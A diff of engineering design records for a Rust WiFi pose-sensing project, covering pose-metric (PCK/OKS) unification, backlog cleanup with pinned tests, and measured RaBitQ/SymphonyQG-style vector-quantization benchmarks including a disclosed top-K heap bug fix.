+- **`metrics.rs` `compute_pck_v2`/`compute_oks_v2`/`MetricsAccumulatorV2`/`evaluate_dataset_v2`/`hungarian_assignment_v2`** — confirmed to have **zero external callers** (only `evaluate_dataset_v2`→`MetricsAccumulatorV2` internally). They are already `#[deprecated]` and route through canonical, so they are not a *divergent-definition* risk, only dead weight. Left in place this pass (public API in a tch-gated module; deleting needs a deprecation-cycle + tch host to verify) — flagged here for a future cleanup, NOT deleted silently.
+- **`sensing-server/trainer.rs` `pck_at_threshold` (raw) + `oks_map(area=1.0)` and the `training_bench.rs` raw kernel** — relabelled in Milestone-1b (§8.1); true unification onto `pck_canonical`/`oks_canonical` (needs a torso scale + the train crate as a sensing-server dep) remains deferred.
+- ~~The remaining ~40 lower-severity review findings (style, micro-opt, doc).~~ — **RESOLVED in Milestone-2 (§8.2): the host-verifiable subset is cleared.** The "~40" was an estimate; the actual host-verifiable (non-tch) train/nn surface is smaller. Enumerated resolution below.
+
+### 8.2 Milestone-2 — host-verifiable §8 P3 backlog clearance — RESOLVED
+
+Mirroring the ADR-154 M3 cleanup discipline, M2 closed the **host-verifiable (non-tch) subset** of the §8 backlog in `wifi-densepose-train` (+ the pure-Rust `rf_encoder.rs`/`densepose.rs` in `wifi-densepose-nn` that the §3/§4 items named). Everything behind `#[cfg(feature = "tch-backend")]` (`metrics.rs`, `model.rs`, `losses.rs`, `proof.rs`, `trainer.rs`, `wiflow_std/{layers,model}.rs`) is **out of host-verifiable scope** — it cannot be compiled/verified without libtorch and stays genuinely deferred (not dropped).
+
+**PROOF discipline held:** every de-magicked constant is pinned `== prior literal` by a `*_consts_unchanged_from_literals` test; every boundary test characterizes CURRENT behaviour; no operating-value or behaviour change; the Python proof stays bit-exact at `f8e76f21…46f7a` (the metrics path is off the signal proof path — asserted, not assumed). A smaller-but-true count was reported rather than inventing 40 fixes.
+
+**Enumerated finding → resolution (real counts):**
+
+| # | Finding (location) | Action | Pin/characterization test |
+|---|---|---|---|
+| 1 | `metrics_core.rs` — `0.5` vis / `1e-6` extent / `0.07` OKS-fallback sigma | de-magic → `VISIBILITY_THRESHOLD` / `MIN_REFERENCE_EXTENT` / `OKS_FALLBACK_SIGMA` | `metrics_core_consts_unchanged_from_literals`; `visibility_threshold_boundary_is_inclusive`; `degenerate_extent_below_floor_is_unscoreable` |
+| 2 | `ruview_metrics.rs` — `17` / `0.5` / `0.2` / `1e-3` / `1e-6` | de-magic → `NUM_KEYPOINTS` / `VISIBILITY_THRESHOLD` / `PCK_THRESHOLD` / `MIN_BBOX_DIAG` / `MIN_DURATION_MINUTES` | `ruview_metrics_consts_unchanged_from_literals`; `tracking_zero_duration_does_not_divide_by_zero`; `oks_short_array_is_bounded_at_keypoint_count` |
+| 3 | `subcarrier.rs` — sparse-interp `0.15`/`1e-4`/`0.1`/`1e-8`/`1e-5`/`500` | de-magic → 6 `SPARSE_*` consts | `sparse_interp_consts_unchanged_from_literals`; `compute_interp_weights_single_target_is_index_zero`; `sparse_interp_single_target_is_finite` |
+| 4 | `eval.rs` — `1e-10` division guard (×3) | de-magic → `MIN_POSITIVE_MPJPE` | `eval_min_positive_mpjpe_unchanged_from_literal`; `domain_gap_infinite_when_in_domain_perfect_but_cross_nonzero`; `domain_gap_unity_when_everything_perfect` |
+| 5 | `domain.rs` — `1e-5` LayerNorm eps | de-magic → `LAYER_NORM_EPS` | `layer_norm_eps_unchanged_from_literal` (n=0/zero-var boundary already covered) |
+| 6 | `virtual_aug.rs` — `1e-10` Box-Muller / room-scale guards | de-magic → `BOX_MULLER_U1_FLOOR` / `MIN_ROOM_SCALE` | `virtual_aug_guard_consts_unchanged_from_literals`; `augment_frame_zero_room_scale_passes_amplitude_finite` |
+| 7 | `rf_encoder.rs` — `20.0` softplus overflow threshold | de-magic → `SOFTPLUS_LINEAR_THRESHOLD` | `softplus_threshold_unchanged_from_literal` |
+| 8 | `rf_encoder.rs` — panic-only `LinearHead::new` for untrusted weights (§3) | add pure-Rust fallible `try_new` → typed `RfHeadError` (additive; `new` unchanged) | `try_new_accepts_valid_and_rejects_each_bad_shape` |
+| 9 | `densepose.rs::apply_conv_layer` naive-loop (§4) | **bench-first → MEASURED-INCONCLUSIVE**, no perf change shipped; committed bench + characterization anchor | `native_conv_matches_reference` + `benches/native_conv_bench.rs` |
+| 10 | `rapid_adapt.rs` module-doc "O(ε)" inconsistency | doc-only fix → "O(ε²)" (central differences) | n/a (doc) |
+| 11 | `geometry.rs` `DeepSets::encode` missing `# Panics` | doc-only fix (documents existing `assert!`) | n/a (doc) |
+
+**Tally:** **7 de-magicked (const + pin test)**, **9 new boundary/characterization tests**, **1 added input guard (`try_new`) + test**, **2 doc-only fixes**, **1 perf item bench-first MEASURED-INCONCLUSIVE (not shipped, deferred)**. New tests: train `--no-default-features` **303** (was 288, +15); nn `--no-default-features` lib **38** (was 35, +3).
+
+**Skipped honestly (flagged-but-not-real):** `ablation.rs` (NaN sort + boundary already fixed/tested in M1 — clean), `signal_features.rs` (consts already named, n=0 boundary already tested), `mae.rs` (no bare guard literals found), `metrics_core` already had thorough zero-visible/hip-normalizer coverage from M1. No churn was manufactured to hit a count.
+
+**Genuinely data-gated / tch-gated — remaining backlog (blocked, not dropped):** GraphPose-Fi graph decoder, ONNX INT4, CSI-JEPA vs MAE A/B (all **data/model-gated** — need a training run + datasets); ONNX read-lock concurrency win (**upstream-gated** on `ort`); the tch-gated panic-on-input sites in `proof.rs`/`trainer.rs`/`model.rs` and the `metrics.rs` `*_v2` dead-code deletion (**tch-gated** — need a libtorch host to compile/verify). **The non-tch-verifiable subset of §8 is now cleared.**
+
+### 8.1 Milestone-1b — metric-definition unification (the §8 metric subset) — RESOLVED
+
+This milestone closed the two metric-integrity items above. The work is pinned by tests, graded MEASURED, and surfaced findings the §1 table missed.
+
+**The complete, honest PCK / OKS audit map (every definition in `v2/`):**
+
+| Definition (file:line) | Normalization basis | Threshold convention | Status |
+|---|---|---|---|
+| `metrics_core.rs` `pck_canonical` (was `metrics.rs`) | **hip↔hip torso WIDTH** (bbox-diag fallback), `[0,1]` coords | `k·torso` | **CANONICAL** |
+| `metrics_core.rs` `oks_canonical` | `s=sqrt(area)` from GT pose extent | COCO kernel | **CANONICAL** |
+| `metrics.rs` `compute_pck` / `compute_per_joint_pck` / `compute_oks` | — (thin wrappers) | — | route to canonical |
+| `metrics.rs` `aggregate_metrics` / `MetricsAccumulator` | — | — | route to canonical |
+| `metrics.rs` `compute_pck_v2` / `compute_oks_v2` / `MetricsAccumulatorV2` | hip↔hip (folded) | — | **legacy-redundant, deprecated, NO callers** — route to canonical |
+| `tests/test_metrics.rs` local `compute_pck`/`compute_oks` (removed) | raw-threshold reimpl | raw | **was independent reimpl** → now validate canonical + 1 differential kernel |
+| `benches/training_bench.rs` `compute_pck` | raw-threshold | raw | distinct-by-design (bench-only), annotated DO-NOT-REPORT |
+| `sensing-server/training_api.rs` `compute_pck` | **torso-HEIGHT** (nose→hip), **pixel-space** | `ratio·torso_h`, 50px floor | **distinct-by-design** — and **ORPHAN file (not `mod`-declared, does not compile)**; relabelled `compute_pck_torso_height` |
+| `sensing-server/trainer.rs` `pck_at_threshold` | **RAW (no normalization)** | raw `thr` | **distinct, LIVE** (drives `best_pck`); **MISSED by §1 table**; relabelled `pck_raw@0.2` |
+| `sensing-server/trainer.rs` `oks_map`→`oks_single(area=1.0)` | `area=1.0` | COCO kernel | **fake-Gold, LIVE** (drives `best_oks`); **MISSED by §1 table**; relabelled `oks_map(area=1.0 proxy)` |
+
+**Findings the §1 seven-definition table under-counted (honest correction):** the live sensing-server claim surface is `trainer.rs` (in `lib.rs`), **not** the named `training_api.rs` — which is an **orphan file, never `mod`-declared, so it does not compile into the crate**. The live `best_pck` is a **raw, unnormalized** PCK and the live `best_oks` still uses the **`area=1.0` fake-Gold** path ADR-155 §2.1 reported as closed elsewhere. So the true metric landscape is **messier than §1 documented**: ≥3 PCK and ≥1 OKS live in `sensing-server`, two of them on the inflating side, and the file the ADR named for the fix was dead code. This is a finding, not a failure — recorded here rather than hidden.
+
+**Goal B (`test_metrics.rs`) — RESOLVED, MEASURED.** The canonical core (`pck_canonical`/`oks_canonical`/`canonical_torso_size`/sigmas/`bounding_box_diagonal`) was hoisted into a new **un-gated** `metrics_core` module (the full `metrics` module is `tch-backend`-gated, so the canonical definition was previously unreachable from the workspace test gate; `metrics` now re-exports it → still ONE implementation). `tests/test_metrics.rs` now asserts the **production** functions against hand-computed fixtures — `canonical_pck_matches_hand_computed_fixture` (3/4 correct ⇒ 0.75, hand-derived), zero-visible⇒0.0, hip↔hip normalizer pin, OKS perfect⇒1.0, the fake-Gold pin — plus `test_kernel_agrees_with_canonical`, a differential test where an independent raw-threshold reference must AGREE with canonical in the torso=1.0 regime. (10→12 tests.)
+
+**Goal C (`training_api.rs` PCK) — RESOLVED by RELABEL, MEASURED.** Torso-height is **load-bearing** (pixel-space, vertical nose→hip scale, `[17×3]` layout, no `ndarray`/train dep), so unifying would silently change the live numbers' meaning — exactly what to avoid. Resolution: relabel everywhere the metric surfaces so it is never read as canonical, in both the named `training_api.rs` (now `compute_pck_torso_height`, struct/JSON-field docs, `pck_torso_h@0.2` logs) **and** — the real fix — the LIVE `trainer.rs` path (`pck_at_threshold` documented raw-unnormalized; `oks_map` `area=1.0` flagged fake-Gold; `main.rs` prints `pck_raw@0.2` / `oks_map(area=1.0 proxy)`). No wire-format field or `pub`-fn renames (no silent API break). Pinned by `torso_pck_is_labelled_distinctly_from_canonical` (training_api) and `pck_at_threshold_is_raw_unnormalized_not_canonical` (the live kernel). True unification (route the live server through `pck_canonical`/`oks_canonical`) remains a deferred §8 item — it needs a torso scale on the live data and the train crate as a dep.
 
 ---
 
@@ -200,3 +255,5 @@ The gap review surfaced ~60 findings; this milestone scoped to the provable inte
 **Positive.** The training/metrics subsystem can now substantiate a clean accuracy claim: one documented metric used everywhere, a leak-free split, an honest TTA path, a proof that fails on noise and refuses to bless an unbaselined run, and two of the most claim-inflating bugs (false-perfect PCK, fake-Gold OKS) closed and pinned by regression tests. The unmeasured/unprovable parts are **disclosed**, not hidden.
 
 **Negative / honest.** The reportable-metric tch-gated code cannot be compiled on the dev host (libtorch absent), so its validation rests on routing through the workspace-tested canonical functions plus review; the Rust deterministic proof is in SKIP until a baseline is committed on a tch host; the ONNX concurrency win is blocked upstream; and ~45 findings are deferred. None of these is presented as done.
+
+**Picture changed by Milestone-1b (§8.1) — corrected, not hidden.** The §1 "seven divergent metrics" count was an **under-count**. The metric-unification audit (Goal A) found the live `wifi-densepose-sensing-server` carries additional, divergent definitions the §1 table omitted: a **raw, unnormalized** `pck_at_threshold` and an **`area=1.0` fake-Gold** `oks_map` in `trainer.rs` — and these, not the orphaned `training_api.rs` the backlog named, are what actually drive the live-reported `best_pck`/`best_oks`. Milestone-1b **relabelled** them (load-bearing math on different data; relabel beats false unification) and pinned the divergence with tests; full unification onto the canonical definition stays deferred. So the canonical *train/nn* metric is unified and test-validated end-to-end, but the *sensing-server* still computes (now clearly-labelled, non-canonical) progress proxies — disclosed here as the honest current state.

docs/adr/ADR-156-ruvector-fusion-beyond-sota.md

@@ -102,8 +102,8 @@ The double-clone elimination is also correctness-neutral: all 100 `viewpoint`/`m
 
 | # | Candidate | What | Grade | Verdict |
 |---|-----------|------|-------|---------|
-| **1** | **SymphonyQG** (SIGMOD 2025, public code) | Unified quantization + graph ANN; source reports **3.5–17× QPS over HNSW at equal recall**, pure-CPU / edge-portable. | **CLAIMED** (author-measured; **not reproduced on our hardware** — reproduction is future work) | **Lead beyond-SOTA candidate for the ruvector ANN path.** Propose as ACCEPTED-future; cite honestly as "claimed by source, reproduction pending." Best fit because the ruvector retrieval path (AETHER re-ID, sketch prefilter) is exactly an ANN problem and SymphonyQG is CPU/edge-portable like our deployment. |
-| **2** | **Multi-bit / Extended RaBitQ** | Extends our existing **1-bit** `sketch.rs` (ADR-084) to multiple bits per dimension — precisely the "Pass 2" our own `sketch.rs` doc deferred (1-bit sign quantization ships first; rotation/more-bits "later if benchmark-measured top-K coverage drops below the ADR-084 90% threshold"). | **CLAIMED** (RaBitQ family well-characterised; our 1-bit baseline is MEASURED in `sketch_bench`) | **Accepted near-term.** Concrete, in-scope, incremental — extends a MEASURED capability rather than importing a new system. #2 priority. |
+| **1** | **SymphonyQG** (SIGMOD 2025, public code) | Unified quantization + graph ANN; source reports **3.5–17× QPS over HNSW at equal recall**, pure-CPU / edge-portable. | **MEASURED-direction-tested** (was CLAIMED) — **[ADR-261](ADR-261-ruvector-graph-ann-index.md)** built the missing HNSW baseline + a SymphonyQG-style 1-bit quantized-traversal variant and **measured** the ratio on our hardware. | **DONE — direction REFUTED at our scale (honest negative).** ADR-261 built the real HNSW baseline (**~25× QPS over linear scan at recall ≥0.99**, the substrate this row wanted) and a quantized variant. At N=10k the 1-bit Hamming traversal is **too coarse** — its best recall is 0.738, never reaching the ≥0.90 equal-recall point, so **no QPS win over float HNSW** (the SymphonyQG 3.5–17× is *not* reproduced by our 1-bit construction here). Caveat: **our HNSW + our 1-bit quant, not SymphonyQG's system**; expected crossover at large N + a multi-bit code. We did **not** tune to manufacture a speedup. |
+| **2** | **Multi-bit / Extended RaBitQ + unbiased estimator** | Extends our existing **1-bit** `sketch.rs` (ADR-084): Pass-2 rotation, multi-bit Pass-3, and the **real RaBitQ unbiased distance estimator** (Gao & Long SIGMOD 2024) reranking the candidate set from the 1-bit code + 8 B/vec side info (§11). | **MEASURED-on-our-hardware** (was CLAIMED) — rotation (§10), multi-bit (§10), and the estimator (§11) all implemented + benchmarked. Rotation lifts strict-K 36%→46%; multi-bit (≤4-bit) reaches 74% strict; **the estimator reaches 49.71% strict (cosine rerank), still short of 90%.** All clear 90% only with over-fetch (estimator improves the factor: 95% at candidate_k=24 vs sign 91.6%). | **DONE — RESOLVED-PARTIAL / NEGATIVE.** Rotation (§10) + estimator (§11) built and MEASURED. The honest negative (no strict-bar 90% from rotation, ≤4-bit, **or the unbiased estimator**) is recorded, not hidden. Over-fetch + Pass-2 is the path that meets the bar (ADR-084's "candidate set" pattern); the estimator lowers the over-fetch factor needed. |
 | **3** | **GraphPose-Fi-style learned antenna-attention + ChebGConv fusion head** | Would replace the current **untrained identity-projection + mean-pool** "attention" (the `CrossViewpointAttention` default is `ProjectionWeights::identity` — not a *learned* attention) with a learned graph fusion head. | **DATA-GATED** (per ADR-152 measurement (b): architecture is **NOT** the current bottleneck — **data is**) | **ACCEPTED-future, data-gated. Do NOT build now.** ADR-152's measured lesson was that swapping architecture without more/better paired data does not move PCK. Building a learned fusion head before the data exists would repeat the mistake ADR-155 §5 also flagged for GraphPose-Fi. |
 | — | **Cramér-Rao / sensor-placement** (`geometry.rs` CRB) | Investigated for a 2026 advance beating the textbook Fisher-information CRB already implemented. | **Investigated — NO ACTION** | **Cleared honestly.** No 2026 method beats the closed-form Fisher-information CRB for this 2-D bearing problem; our implementation is already correct SOTA. (Recording a negative result is a deliberate anti-slop signal.) The only CRB change this milestone is the §2.3 *GDOP* honesty fix, which is a labelling/quantity correction, not an algorithmic one. |
 
@@ -138,8 +138,8 @@ The double-clone elimination is also correctness-neutral: all 100 `viewpoint`/`m
 
 The review surfaced more than this milestone scoped. Tracked here for a future ADR-156 milestone:
 
-- **SymphonyQG reproduction** (§5 #1) — reproduce the 3.5–17× QPS-over-HNSW claim on our hardware before integrating into the ruvector ANN path. Currently CLAIMED-only.
-- **Multi-bit / Extended RaBitQ** (§5 #2) — implement the `sketch.rs` "Pass 2" (more bits per dimension and/or the randomized rotation) and re-measure top-K coverage against the ADR-084 ≥90% acceptance bar in `sketch_bench`.
+- **SymphonyQG reproduction** (§5 #1) — **RESOLVED-DIRECTION-TESTED** (see [ADR-261](ADR-261-ruvector-graph-ann-index.md)). The missing HNSW baseline + a SymphonyQG-style 1-bit quantized-traversal variant were built and **MEASURED**: float HNSW is ~25× over linear scan at recall ≥0.99 (the baseline this gap needed), but our 1-bit quantized traversal is **too coarse to beat float HNSW at equal recall at N=10k** (best recall 0.738) — the 3.5–17× is **not reproduced** by our construction. Honest negative recorded; expected crossover is large N + a multi-bit traversal code. (Caveat: our HNSW + our 1-bit quant, not SymphonyQG's exact system.)
+- **Multi-bit / Extended RaBitQ** (§5 #2) — **RESOLVED-PARTIAL** (see §10). Pass-2 randomized rotation (FHT + seeded ±1 sign flips, `src/rotation.rs`) and a multi-bit Pass-3 experiment landed and were MEASURED against the ADR-084 ≥90% bar. **Honest result: rotation helps (+10pp at the strict bar) and Pass-2 reaches 90% with ~3× over-fetch, but NEITHER rotation nor multi-bit (up to 4-bit) clears the strict candidate_k==K 90% bar on the tested anisotropic distribution.** The original `1-bit sign quantization ships first; rotation/more-bits later if benchmark-measured top-K coverage drops below 90%` deferral is therefore retired: the rotation is built, the bar is characterised, and the residual gap is documented rather than deferred.
 - **Learned cross-viewpoint fusion head** (§5 #3, GraphPose-Fi-style) — **data-gated**: blocked on the paired multi-room data ADR-152 measurement (b) identified as the real bottleneck; do not build the architecture first.
 - **`CrossViewpointAttention` learned projections** — the default `ProjectionWeights::identity` + mean-pool is honest but unlearned; wiring real learned Q/K/V projections is part of the data-gated item above (no learned weights ⇒ the "attention" is currently a geometric-bias-weighted average, which the code/docs should keep stating plainly).
 - **`coherence.rs` / `fusion.rs` micro-opts and the remaining lower-severity review findings** (style, doc, further hot-path tuning) from the fusion gap review.
@@ -151,3 +151,115 @@ The review surfaced more than this milestone scoped. Tracked here for a future A
 **Positive.** The fusion path now: uses one canonical wrapped angular-distance helper; reports a **real** dimensionless GDOP instead of a mislabeled RMSE; cannot be panicked by crafted multistatic indices or a zero-bin spectrogram (DoS closed); and does one embedding clone per viewpoint instead of two (measured). Every fix is pinned by a test that fails on the old code, and the ANN/fusion SOTA landscape is graded so the near-term (multi-bit RaBitQ) and the data-gated (learned fusion) are not confused.
 
 **Negative / honest.** The headline angular-wrap fix is a **numeric no-op** under the current cos kernel — we land it for contract/maintainability, not because it changes an output, and we say so. The two strongest external candidates (SymphonyQG, learned fusion) are **not built here** — one is CLAIMED-pending-reproduction, the other is data-gated by a prior measurement. The perf win is a **local hot-path** improvement, modest in the end-to-end pipeline (attention dominates). None of these is presented as more than it is.
+
+---
+
+## 10. RaBitQ Pass-2 / multi-bit — IMPLEMENTED & MEASURED (§8 backlog item #2)
+
+Milestone-1 of the §8 backlog. Status: **RESOLVED-PARTIAL** — built, measured, honest negative on the strict bar.
+
+### 10.1 What landed
+
+- **`crates/wifi-densepose-ruvector/src/rotation.rs`** (new) — `Rotation`, a deterministic randomized orthogonal rotation `R = H·D`: a **Fast Hadamard Transform** (`O(d log d)`, in-place butterfly, `1/√m` normalized so it is norm-preserving) composed with a diagonal of **seeded ±1 sign flips** (SplitMix64 from a stored `u64` seed). Chosen over a dense `d×d` matrix because that is `O(d²)` memory/time and infeasible at the 65,535-d the wire format provisions for; FHT is the standard fast-orthogonal (randomized-Hadamard / fast-JL) construction. Non-power-of-two `d` zero-pads to `next_pow2(d)` and reads back the first `d` coords.
+- **`sketch.rs`** — additive Pass-2 API: `Sketch::from_embedding_rotated`, `SketchBank::with_rotation` + `insert_embedding` / `topk_embedding` / `novelty_embedding`. **Pass 1 (`from_embedding`) is byte-for-byte unchanged**; a Pass-2 sketch has identical `embedding_dim` / packed-byte length / wire shape, so `WireSketch` and existing callers (`event_log.rs`, `signal/longitudinal.rs`) are untouched. Default behaviour preserved.
+- **`coverage.rs`** (new) — single-source-of-truth top-K coverage harness on a deterministic **anisotropic planted-cluster** fixture (cosine ground truth, the metric a sign sketch approximates). Backs both the `pass2_coverage_report` unit test and the `sketch_bench` coverage table.
+- **Multi-bit Pass-3 experiment** — `coverage::measure_multibit`: rotate, then `b`-bit uniform scalar-quantize each coord, rank by L1 over codes. Measures the bit/coverage tradeoff.
+
+### 10.2 Pre-existing bug found and fixed (disclosed)
+
+Building the coverage harness surfaced a **pre-existing correctness bug in `SketchBank::topk`** (shipped in ADR-084): the `n > k` heap path used `BinaryHeap<Reverse<(dist,id)>>` (a *min*-heap) but its comment/logic treated the peek as the max, so it evicted the *nearest* and returned the **k farthest** sketches as "nearest." The shipped unit tests only exercised the `n ≤ k` fast path (≤ 3 entries), so it was never caught. Fixed to a plain max-heap. Pinned by **`topk_heap_path_returns_nearest`** (fails on the old heap when entries are inserted farthest-first) and **`tight_clusters_give_high_coverage_with_overfetch`** (measured **0.072** coverage on the old code — random — vs **>0.99** fixed). This is a real, measured behaviour fix, not a no-op.
+
+### 10.3 MEASURED top-K coverage
+
+Test machine: Windows 11, `cargo bench --release` / `cargo test`. Fixture: **dim=128, N=2048, K=8, 64 planted clusters, intra-cluster noise=0.35, 128 queries, master_seed=0xAD000084, rotation_seed=0x5EEDC0DE12345678**, ground-truth metric = cosine. Reproduce: `cargo test -p wifi-densepose-ruvector --no-default-features pass2_coverage_report -- --nocapture` or `cargo bench -p wifi-densepose-ruvector --bench sketch_bench -- pass2_coverage`.
+
+**Coverage vs over-fetch (`coverage = |sketch_topK ∩ float_cosine_topK| / K`):**
+
+| candidate_k | Pass-1 (1-bit, no rot) | Pass-2 (1-bit, rot) | vs 90% bar |
+|---|---|---|---|
+| **8 (= K, strict bar)** | **36.13%** | **46.39%** | both **BELOW** |
+| 16 | 62.79% | 75.59% | below |
+| 24 | 83.89% | **91.60%** | **Pass-2 clears** |
+| 32 | 100.00% | 100.00% | clears |
+| 64 | 100.00% | 100.00% | clears |
+
+**Multi-bit Pass-3 at the strict bar (candidate_k = K = 8):**
+
+| Variant | Coverage | Memory |
+|---|---|---|
+| Pass-1 (1-bit, no rot) | 36.13% | 16 B/vec |
+| Pass-2 (1-bit, rot) | 46.39% | 16 B/vec |
+| Pass-3 (rot, 2-bit) | 54.39% | 32 B/vec |
+| Pass-3 (rot, 3-bit) | 66.70% | 48 B/vec |
+| Pass-3 (rot, 4-bit) | 74.22% | 64 B/vec |
+
+### 10.4 Honest verdict
+
+- **Rotation consistently helps** — +10.3 pp at the strict bar (36.13%→46.39%) and a uniform lift at every over-fetch level. The FHT construction is verified norm-preserving and deterministic.
+- **Neither rotation nor multi-bit (≤4-bit) clears the strict candidate_k==K 90% bar** on this anisotropic distribution. 1-bit sign quantization simply cannot resolve 8-of-2048 from sign bits alone; even 4× memory (4-bit) reaches only 74%.
+- **Pass-2 reaches the 90% bar at candidate_k=24 (~3× over-fetch)** — i.e. fetch ≥24 sketch candidates, refine to K with full float. This is exactly the "candidate set, then full refinement" deployment pattern ADR-084 specifies, so the bar is met *in the deployment the sensor is designed for*, just not at strict K=K.
+- **This is a measured, partial win, reported as such.** No benchmark was tuned to manufacture a pass. The strict-bar gap (and the multi-bit tradeoff that doesn't close it) is documented rather than spun.
+
+### 10.5 Deferred sub-items (graded, not dropped)
+
+- **Strict-bar 90% from a richer code** — neither rotation nor uniform multi-bit closes it here. A learned/asymmetric quantizer or the full RaBitQ residual-distance estimator (not just a uniform scalar code) might. **RESOLVED-NEGATIVE (§11): the estimator is now built and MEASURED — it lifts strict-K 46.39%→49.71% but does NOT clear the 90% strict bar.** The residual strict-bar gap is a published negative, not a deferral.
+- **Distribution sensitivity** — the result is for one synthetic anisotropic distribution; on real AETHER traces the strict-bar number may differ. Re-measuring on recorded embeddings is deferred to the ADR-084 post-merge soak.
+- **Promoting a `MultiBitSketch` type** — the multi-bit code lives in the measurement harness, not as a shipped sketch type. Building the production type is gated on a use site actually needing strict-K (vs over-fetch), which the measurement says is not required today.
+
+---
+
+## 11. RaBitQ unbiased distance estimator — IMPLEMENTED & MEASURED (Milestone-2, §8 backlog item #2 / §10.5 strict-bar item)
+
+Milestone-2 of the §8 backlog. Status: **RESOLVED-NEGATIVE** — the estimator is built, measured, and lifts strict-K coverage, but the honest result is that it does **not** clear the ADR-084 ≥90% strict-K bar on this distribution. The negative is reported as such, exactly like the Pass-2 rotation result.
+
+### 11.1 What landed
+
+- **`crates/wifi-densepose-ruvector/src/estimator.rs`** (new) — the real Gao & Long (SIGMOD 2024) contribution: an **unbiased estimator of the inner product / squared distance** recovered from the 1-bit code plus per-vector side info, on top of the Pass-2 rotation. Pass-1/Pass-2 ranked candidates by raw Hamming over sign bits — a coarse proxy. This module reranks by the unbiased estimate.
+  - `EstimatorSketch` — Pass-2 sign code (over the **padded** FHT length `D = next_pow2(dim)`, the frame `x̄` is unit in) **plus** the side info.
+  - `SideInfo` = `{ residual_norm: f32, x_dot_o: f32 }` = **8 bytes/vector** (2× f32).
+  - `EstimatorQuery` — query rotated once, reused across all candidates.
+  - `DistanceEstimator` — `estimate_inner_product`, `estimate_sq_distance`, `ranking_key` (euclidean), `cosine_ranking_key` (the correct key vs a cosine ground truth — needs only the code + `x_dot_o`).
+  - `EstimatorBank` — `topk_estimated` (euclidean) / `topk_estimated_cosine`; optional `with_centroid` (the paper's centroid path).
+- **`coverage.rs`** — `measure_estimator` (cosine rerank) + `measure_estimator_euclidean`, on the **bit-identical** fixture / cluster centres / query stream / cosine ground truth as `measure_pass1`/`measure_pass2`. Single source of truth for the §11.3 table; backs both `estimator_coverage_report` and the `sketch_bench` coverage table.
+- **Additive + backward-compatible.** New types only; Pass-1 `Sketch` / Pass-2 `SketchBank` / `WireSketch` wire format are untouched. All external callers (`event_log.rs`, `signal/longitudinal.rs`, `sensing-server`) use Pass-1 `from_embedding` and are unaffected.
+
+### 11.2 The estimator formula (and the zero-centroid simplification, stated honestly)
+
+Let `P` be the Pass-2 orthogonal rotation (`R = H·D`), `D = next_pow2(dim)`. For data `o_raw`, query `q_raw`, centroid `c`:
+
+1. **Centroid — SIMPLIFIED to zero/global `c = 0`.** The paper centres on a per-cluster centroid (`o_r = o_raw − c`); we use `c = 0` (`o_r = o_raw`), because the current sketch path has no IVF/k-means cluster structure. This costs accuracy when the data is far off-origin. **We document it, do not hide it,** and built the paper-faithful centroid path (`from_embedding_centred` / `EstimatorBank::with_centroid`) so the simplification is a measured choice, not an assumption. (We do **not** report a centroid coverage number against the *cosine* ground truth: centroid-subtraction changes the metric — cosine-of-residual ≠ cosine-of-raw — so a centroid number vs raw-cosine truth would be a metric mismatch, itself dishonest. Zero-centroid is the correct match for this raw-cosine harness.)
+2. **Unit residual + 1-bit code.** `o = o_r/‖o_r‖`, `o' = P·o`, code `x̄_i = sign(o'_i)·(1/√D)` — a unit vector at the nearest hypercube corner.
+3. **Side info:** `residual_norm = ‖o_r‖` and `x_dot_o = ⟨x̄, o'⟩ ∈ (0,1]` (the paper's `⟨x̄, o⟩`).
+4. **Unbiased estimator** (paper Eq.): `⟨o', q'⟩ ≈ ⟨x̄, q'⟩ / ⟨x̄, o'⟩ = ⟨x̄, q'⟩ / x_dot_o`. The random rotation makes the code's quantization error orthogonal **in expectation** to `q'`, so the rescale is unbiased (paper's `O(1/√D)` bound). Per candidate: one length-`D` signed sum (`x̄ ∈ {±1/√D}`), as cheap as Hamming + a multiply.
+5. **Distance / cosine.** `⟨o_r,q_r⟩ = ‖o_r‖·(⟨x̄,q'⟩/x_dot_o)`; `‖q_r−o_r‖² = ‖q_r‖²+‖o_r‖²−2⟨o_r,q_r⟩`. For a **cosine** ground truth (AETHER / this harness), rank by `−⟨o,q_r⟩ = −(⟨x̄,q'⟩/x_dot_o)` (needs only the code + `x_dot_o`).
+
+**Unbiasedness is pinned** (`estimator_unbiased_on_fixture`): averaging the estimate of `⟨o_r,q_r⟩` over 4000 random rotation seeds converges to the true inner product within ~6% of the `‖o‖‖q‖` envelope — a biased estimator (or sign-only proxy) would be systematically off.
+
+### 11.3 MEASURED strict-K coverage
+
+Same fixture/seeds as §10 (dim=128, N=2048, K=8, 64 clusters, noise=0.35, 128 queries, `master_seed=0xAD000084`, `rotation_seed=0x5EEDC0DE12345678`), cosine ground truth. Reproduce: `cargo test -p wifi-densepose-ruvector --no-default-features estimator_coverage_report -- --nocapture` or `cargo bench -p wifi-densepose-ruvector --bench sketch_bench -- pass2_coverage`.
+
+| candidate_k | Pass-1 (sign) | Pass-2 (sign) | **Pass-2 + estimator (cosine)** | Pass-2 + estimator (euclid) | vs 90% bar |
+|---|---|---|---|---|---|
+| **8 (= K, strict bar)** | 36.13% | 46.39% | **49.71%** | 49.02% | **all BELOW** |
+| 16 | 62.79% | 75.59% | 79.20% | 77.93% | below |
+| 24 | 83.89% | 91.60% | **95.12%** | 93.65% | estimator clears |
+| 32 | 100.00% | 100.00% | 100.00% | 100.00% | clears |
+| 64 | 100.00% | 100.00% | 100.00% | 100.00% | clears |
+
+Side-info memory overhead: **8 bytes/vector** (2× f32) on top of the 16 B/vec 1-bit sketch.
+
+### 11.4 Honest verdict
+
+- **The estimator helps, and the cosine key beats the euclidean key** (49.71% vs 49.02% at strict-K; cosine is the apples-to-apples match for the cosine ground truth — both it and sign-Hamming are angular). The unbiased rescale is a real, consistent lift at every over-fetch level (e.g. 24: 91.60%→95.12%).
+- **It does NOT clear the strict candidate_k==K 90% bar.** Strict-K goes 36.13% (Pass-1) → 46.39% (Pass-2-sign) → **49.71% (Pass-2 + estimator)** — a **+3.3 pp** improvement over sign-only, **still ~40 pp short of 90%**. This is a **published negative**, the same class of honest result as the Pass-2 rotation (§10).
+- **Why the strict-K gain is modest:** the binding constraint at strict K is the **1-bit code's information ceiling** (resolving 8-of-2048 from a single sign bit per coordinate), not the *estimator's variance* — the estimator sharpens the ranking but cannot add information the 1-bit code never captured. The estimator's larger wins are at over-fetch, where there is room to re-rank a wider candidate pool.
+- **The bar is still met the way ADR-084 deploys the sensor:** at candidate_k=24 (~3× over-fetch) the estimator reaches **95.12%** (vs Pass-2-sign 91.60%) — the "candidate set, then full refinement" pattern. The estimator **improves the over-fetch factor needed** but does not eliminate it.
